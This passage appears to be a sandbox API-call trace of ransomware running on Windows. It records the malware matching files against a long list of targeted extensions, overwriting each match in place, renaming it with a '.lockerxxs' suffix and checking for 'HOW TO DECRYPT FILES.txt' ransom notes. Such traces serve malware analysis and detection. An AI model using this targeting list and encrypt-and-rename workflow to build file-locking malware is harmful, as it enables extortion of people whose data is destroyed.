Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp") returned="MeetingIconMask.bmp" [0065.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.449] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.449] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.449] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.449] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ProjectStatusIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" [0065.449] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.ems") returned 0 [0065.449] lstrlenA (lpString="*.ems") returned 5 [0065.449] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.db") returned 0 [0065.449] lstrlenA (lpString="*.db") returned 4 [0065.449] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.dbf") returned 0 [0065.449] lstrlenA (lpString="*.dbf") returned 5 [0065.449] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.myox") returned 0 [0065.449] lstrlenA (lpString="*.myox") returned 6 [0065.449] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.myo") returned 0 [0065.450] lstrlenA (lpString="*.myo") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qbw") returned 0 [0065.450] lstrlenA (lpString="*.qbw") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qbb") returned 0 [0065.450] lstrlenA (lpString="*.qbb") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qbm") returned 0 [0065.450] lstrlenA (lpString="*.qbm") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qbo") returned 0 [0065.450] lstrlenA (lpString="*.qbo") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qbx") returned 0 [0065.450] lstrlenA (lpString="*.qbx") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qba") returned 0 [0065.450] lstrlenA (lpString="*.qba") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qby") returned 0 [0065.450] lstrlenA (lpString="*.qby") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qbj") returned 0 [0065.450] lstrlenA (lpString="*.qbj") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.ofx") returned 0 [0065.450] lstrlenA (lpString="*.ofx") returned 5 [0065.450] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.qif") returned 0 [0065.451] lstrlenA (lpString="*.qif") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.mye") returned 0 [0065.451] lstrlenA (lpString="*.mye") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.mbox") returned 0 [0065.451] lstrlenA (lpString="*.mbox") returned 6 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.eml") returned 0 [0065.451] lstrlenA (lpString="*.eml") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.pst") returned 0 [0065.451] lstrlenA (lpString="*.pst") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.ost") returned 0 [0065.451] lstrlenA (lpString="*.ost") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.idx") returned 0 [0065.451] lstrlenA (lpString="*.idx") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.dbx") returned 0 [0065.451] lstrlenA (lpString="*.dbx") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.sql") returned 0 [0065.451] lstrlenA (lpString="*.sql") returned 5 [0065.451] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.mdb") returned 0 [0065.451] lstrlenA (lpString="*.mdb") returned 5 [0065.452] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.fdb") returned 0 [0065.452] lstrlenA (lpString="*.fdb") returned 5 [0065.452] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.wab") returned 0 [0065.452] lstrlenA (lpString="*.wab") returned 5 [0065.452] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.dat") returned 0 [0065.452] lstrlenA (lpString="*.dat") returned 5 [0065.452] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.txt") returned 0 [0065.452] lstrlenA (lpString="*.txt") returned 5 [0065.452] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.jpeg") returned 0 [0065.452] lstrlenA (lpString="*.jpeg") returned 6 [0065.452] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", pszSpec="*.jpg") returned 1 [0065.452] lstrlenA (lpString="*.jpg") returned 5 [0065.452] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" [0065.452] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" [0065.452] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg." [0065.452] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.lockerxxs" [0065.452] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.454] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19e9 [0065.454] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x6d084c30, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea)) returned 1 [0065.454] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.455] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x19c3, lpOverlapped=0x0) returned 1 [0065.458] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg") returned="ProjectStatusIcons.jpg" [0065.458] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.458] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x19c3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x19c3, lpOverlapped=0x0) returned 1 [0065.458] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.458] CloseHandle (hObject=0x98) returned 1 [0065.470] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg.lockerxxs")) returned 1 [0065.471] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa10, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="ProjectStatusIconsMask.bmp", cAlternateFileName="PROJEC~1.BMP")) returned 1 [0065.471] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.471] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectStatusIconsMask.bmp") returned -1 [0065.472] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectStatusIconsMask.bmp") returned -1 [0065.472] lstrcmpiA (lpString1="", lpString2="ProjectStatusIconsMask.bmp") returned -1 [0065.472] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg") returned="ProjectStatusIcons.jpg" [0065.472] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.472] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.472] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.472] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.472] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ProjectStatusIconsMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp" [0065.472] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.ems") returned 0 [0065.472] lstrlenA (lpString="*.ems") returned 5 [0065.472] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.db") returned 0 [0065.472] lstrlenA (lpString="*.db") returned 4 [0065.472] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.dbf") returned 0 [0065.472] lstrlenA (lpString="*.dbf") returned 5 [0065.472] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.myox") returned 0 [0065.472] lstrlenA (lpString="*.myox") returned 6 [0065.472] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.myo") returned 0 [0065.472] lstrlenA (lpString="*.myo") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qbw") returned 0 [0065.473] lstrlenA (lpString="*.qbw") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qbb") returned 0 [0065.473] lstrlenA (lpString="*.qbb") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qbm") returned 0 [0065.473] lstrlenA (lpString="*.qbm") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qbo") returned 0 [0065.473] lstrlenA (lpString="*.qbo") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qbx") returned 0 [0065.473] lstrlenA (lpString="*.qbx") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qba") returned 0 [0065.473] lstrlenA (lpString="*.qba") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qby") returned 0 [0065.473] lstrlenA (lpString="*.qby") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qbj") returned 0 [0065.473] lstrlenA (lpString="*.qbj") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.ofx") returned 0 [0065.473] lstrlenA (lpString="*.ofx") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.qif") returned 0 [0065.473] lstrlenA (lpString="*.qif") returned 5 [0065.473] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mye") returned 0 [0065.474] lstrlenA (lpString="*.mye") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mbox") returned 0 [0065.474] lstrlenA (lpString="*.mbox") returned 6 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.474] lstrlenA (lpString="*.eml") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.pst") returned 0 [0065.474] lstrlenA (lpString="*.pst") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.ost") returned 0 [0065.474] lstrlenA (lpString="*.ost") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.idx") returned 0 [0065.474] lstrlenA (lpString="*.idx") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.dbx") returned 0 [0065.474] lstrlenA (lpString="*.dbx") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.sql") returned 0 [0065.474] lstrlenA (lpString="*.sql") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mdb") returned 0 [0065.474] lstrlenA (lpString="*.mdb") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.fdb") returned 0 [0065.474] lstrlenA (lpString="*.fdb") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.wab") returned 0 [0065.474] lstrlenA (lpString="*.wab") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.dat") returned 0 [0065.474] lstrlenA (lpString="*.dat") returned 5 [0065.474] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.txt") returned 0 [0065.475] lstrlenA (lpString="*.txt") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.jpeg") returned 0 [0065.475] lstrlenA (lpString="*.jpeg") returned 6 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.jpg") returned 0 [0065.475] lstrlenA (lpString="*.jpg") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.png") returned 0 [0065.475] lstrlenA (lpString="*.png") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.php") returned 0 [0065.475] lstrlenA (lpString="*.php") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.cs") returned 0 [0065.475] lstrlenA (lpString="*.cs") returned 4 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.cpp") returned 0 [0065.475] lstrlenA (lpString="*.cpp") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.rar") returned 0 [0065.475] lstrlenA (lpString="*.rar") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.zip") returned 0 [0065.475] lstrlenA (lpString="*.zip") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.html") returned 0 [0065.475] lstrlenA (lpString="*.html") returned 6 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.htm") returned 0 [0065.475] lstrlenA (lpString="*.htm") returned 5 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.xlsx") returned 0 [0065.475] lstrlenA (lpString="*.xlsx") returned 6 [0065.475] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.xls") returned 0 [0065.476] lstrlenA (lpString="*.xls") returned 5 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mp4") returned 0 [0065.476] lstrlenA (lpString="*.mp4") returned 5 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.ppt") returned 0 [0065.476] lstrlenA 